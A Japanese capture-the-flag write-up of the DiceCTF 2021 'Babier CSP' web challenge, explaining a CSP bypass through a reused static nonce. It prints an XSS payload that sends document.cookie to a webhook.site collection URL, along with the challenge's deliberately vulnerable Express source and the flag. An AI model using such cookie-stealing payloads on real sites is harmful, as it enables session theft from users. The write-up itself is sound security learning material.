kanyewest CTF

勉強したことをメモしています。

DiceCTF 2021: Write up

Web

Babier CSP

XSS脆弱性があるのはすぐわかるがふつうにscriptタグで指定してもjavascriptを実行できない。 ResponseヘッダをみてみるとCSPが指定されてることがわかる。

HTTP/1.1 200 OK
Content-Length: 248
Content-Security-Policy: default-src none; script-src 'nonce-LRGWAXOY98Es0zz0QOVmag==';
Content-Type: text/html; charset=utf-8
Date: Sat, 06 Feb 2021 02:07:48 GMT
Etag: W/"f8-z9RAqbkzF3OUjLrc8Hwyb3CplLk"
X-Powered-By: Express
Connection: close

しかし、CSPでnonceが常に同じ値が指定されているのでnonce属性を指定するとbypassできる。

https://babier-csp.dicec.tf/?name=%3Cscript%20nonce=%27LRGWAXOY98Es0zz0QOVmag==%27%20%3Ealert(%22TEST%22);%3C/script%3E

あとはcookieをとってくるXSSのpayloadをadminにおくる。なぜかfetchがつかえなかった

https://babier-csp.dicec.tf/?name=<script nonce='LRGWAXOY98Es0zz0QOVmag==' >window.location=`https://webhook.site/7dfc6e39-1585-4c4e-831d-bac67880d15c/${document.cookie}`;</script>

f:id:tekashi:20210206110906p:plain

secretはgetできたのでindex.jsをみてみると

const express = require('express');
const crypto = require("crypto");
const config = require("./config.js");
const app = express()
const port = process.env.port || 3000;

const SECRET = config.secret;
const NONCE = crypto.randomBytes(16).toString('base64');

const template = name => `
<html>

${name === '' ? '': `<h1>${name}</h1>`}
<a href='#' id=elem>View Fruit</a>

<script nonce=${NONCE}>
elem.onclick = () => {
  location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]);
}
</script>

</html>
`;

app.get('/', (req, res) => {
  res.setHeader("Content-Security-Policy", `default-src none; script-src 'nonce-${NONCE}';`);
  res.send(template(req.query.name || ""));
})

app.use('/' + SECRET, express.static(__dirname + "/secret"));

app.listen(port, () => {
  console.log(`Example app listening at http://localhost:${port}`)
})

https://babier-csp.dicec.tf/4b36b1b8e47f761263796b1defd80745/にアクセスできることがわかる。

Hi! You should view source!

<!-- 

I'm glad you made it here, there's a flag!

<b>dice{web_1s_a_stat3_0f_grac3_857720}</b>

If you want more CSP, you should try Adult CSP.

-->

flag: dice{web_1s_a_stat3_0f_grac3_857720}